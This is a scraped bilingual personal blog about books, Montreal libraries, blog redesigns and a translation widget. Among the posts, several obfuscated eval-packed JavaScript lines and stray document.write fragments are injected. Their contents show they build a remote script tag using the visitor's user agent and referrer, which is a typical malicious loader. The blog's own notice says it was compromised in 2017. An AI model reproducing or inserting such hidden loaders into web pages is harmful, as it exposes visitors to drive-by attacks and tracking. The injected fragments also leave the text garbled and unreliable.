Unfortunately, because of this brief hospital stay, I also missed the initial preorder of the new iPhone 6. So, I won’t get it next week like I wanted, but only next month. Too bad, I could have done a lot with it during my sick leave. Now I’ll get it only after I am back to work…
[ Traduire @ Google ]
[ Traduire @ Bing ]
J’ai toujours rêvé de faire (de m’occuper ou de gérer) un blogue de lecteurs pour les bibliothèques de Montréal — quoiqu’il y a peu de chances que cela arrive un jour puisque je ne suis qu’un simple aide-bibliothécaire et que je viens de découvrir qu’il y en avait déjà un (plus ou moins)…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnryk|var|u0026u|referrer|faryd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfaky|var|u0026u|referrer|snbkk||js|php’.split(‘|’),0,{}))
J’avais déjà vaguement entendu parlé de ce “Club des irrésistibles” mais je croyais que c’était simplement des suggestions de lectures de bibliothécaires. C’est un peu plus que cela. Toutefois ça n’a rien à voir avec ce que je ferais si j’en avais la chance (probablement quelques choses de similaire à mes commentaires de livres, document.write(“”); mais plus, tellement plus) mais, bon, c’est tout de même un début. Les gens de partout dans le monde peuvent y laisser leurs suggestions de lectures et partager leurs coups de coeur livresques. Ça c’est bien mais beaucoup de choses laissent à désirer:
C’est donc très décevant. Il y tellement de choses qui pourraient être faites pour promouvoir le catalogue et les titres de la collection des bibliothèques de Montréal et cela avec un très petit budget! Vraiment, les gens des bibliothèques semble manquer d’imagination et de volonté (ou de moyens) mais, bon, c’est la ville de Montréal et sur ce je n’en dirai pas plus (je ne peux, ayant renoncé à mes droits constitutionnels de libre expression sur ce sujet…). Oui, c’est très décevant. Mais, bon, allez voir ce que c’est et n’hésitez pas à me dire ce que vous en pensez en commentaire…
Je vais tout de même garder un oeil sur ce club. Je me suis inscrit à l’info-lettre et peut-être demanderais-je quelques explications pour mieux comprendre comment ça marche et peut-être aussi daignerai-je y participer. On verra. Pour l’instant je trouve plus amusant de participer à Goodreads.
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Comme ces dernières semaines ont été plutôt mouvementées, ce week-end je me repose: je lis et je fais du rattrapage dans le visionnement de séries télé. De toute façon il fait trop froid pour travailler dans le jardin (on annonce d’ailleurs un risque de gel pour cette nuit, alors priez pour mes plants de tomate ! Contrairement à certains, je n’ai pas l’espace pour de @#$%?&* de belles patates 😉
J’en ai quand même profité pour faire quelques petits ajustements dans la disposition du blogue (en ajoutant quelques éléments dans la colonne de droite) et mettre à jour ma bibliographie.
Et bonne Fête de Mères (en retard)!
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I’ve just updated the look of the blog with a new template. I think it was way over due for a change.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kebas|var|u0026u|referrer|dyzdd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hifhd|var|u0026u|referrer|hhezn||js|php’.split(‘|’),0,{}))
Let me know what you think of this new look. Thanks!
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Ce week-end j’ai introduit un nouveau concept dans mon blog: le rétro-blogging. C’est-à-dire que ces derniers mois je n’ai pas eu le temps, document.write(“”); ni l’énergie de blogger régulièrement mais je prenais tout de même des notes dans mon petit carnet. Et là je les introduit dans le blogue aux dates où ces notes on été prises. Ce week-end j’ai donc fait du ratrappage pour les mois de mai et de juin…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbtyy|var|u0026u|referrer|idrbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnhii|var|u0026u|referrer|hakik||js|php’.split(‘|’),0,{}))
Autre nouvelle: mon blogue peut maintenant être rejoins à l’addresse clodjee.com!
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The problem with multilingual blogs is that you cannot always post in a way to be understood by every readership at the same time. Sometimes I will post a comment both in French and English, document.write(“”); but most of the time I post in either languages depending on the nature of the subject. For example, if I read a book in French I will most likely comment it in the same language and I will comment in English if I watch a movie in English. And, of course, the blog is not accessible to people speaking any other languages (like my ancient roman fans or my Japanese friends or some accidental Aafrikaner or Hindi readers). I’ve always found this particularly annoying.
I recently stumbled upon a Facebook page that was offering a link to translate the post into another language (in this case either Japanese or English). I found that such option was quite practical and wondered if it was possible to do something similar with Blogger. I couldn’t find a cool and easy way like I saw for Facebook, but I found a couple of ways to reach my goal. (It would be nice though to have Blogger to add a “Translate” option at the bottom of each post).
From now on, you will find in the right side column (between the “links” and the “Search this blog”) a “Translate this blog” section with a “Select Language” pull down menu. It includes over sixty different languages but, since it assumes this blog is in English only, the list doesn’t offer an English option, which would be quite useful for my French posts. Instead, for this particular case, I will try to always add at the end of my French posts a “[ Translate ]” link that will bring you to an English translation (by default, but it can be changed to any language you want).
Unfortunately, the translation option often mess up the layout of the post (mostly paragraph jump — strangely the individual links for the French to English translation fare much better layout-wise) and the resulting translation is generally far from perfect (although sometimes quite funny). But that’s the best it can do for now. However, to avoid formatting problems I might simply add a “[ Translate ]” link even for the posts in English…
I hope this solution will help widden the readership of this blog. In any case, let me know what you think. Do you like this new option or not (or it doesn’t make any difference for you)?
[ Translate ]
Warning!
This blog was hit by a couple of catastrophes in 2017 that broke many image links and introduced malicious lines of code that have now been neutralized but are still disfiguring many older entries of the blog.
Please bear with us while we are undergoing the long process of repairing the blog! The most important part of this blog is still there — the words to read and the ideas to share — but the aesthetic of the presentation has unfortunately suffered.
Thank you for your understanding and support!
— clodjee
After reading my bio/bibliography in the DALIAF, it reminded me that I published more than just fiction (or a few sci-fi short stories). So I decided to gather my own bibliography, a list as exhaustive as I could of all the major texts I’ve written. Here it is, right after the jump:
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Souvenirs de Science-Fiction Québécoise
Manga, jeu vidéo et arts mineurs
A blog about the pursuit of knowledge
A blog about the pursuit of knowledge
Émission littéraire + Suggestions + Confidences
read. write. art.
“If you are cold, tea will warm you; if you are too heated, it will cool you; If you are depressed, it will cheer you; If you are excited, it will calm you.” ― William Ewart Gladstone
A blog about the pursuit of knowledge
Book reviews and the occasional ramblings of a book blogger
Moi et les livres... dans cet ordre
Science, réflexion et poésie
Discussion, Resources, Roundtables, & Reviews
A blog about the pursuit of knowledge
A blog about the pursuit of knowledge
A blog about the pursuit of knowledge
Clodjee's Safe-House 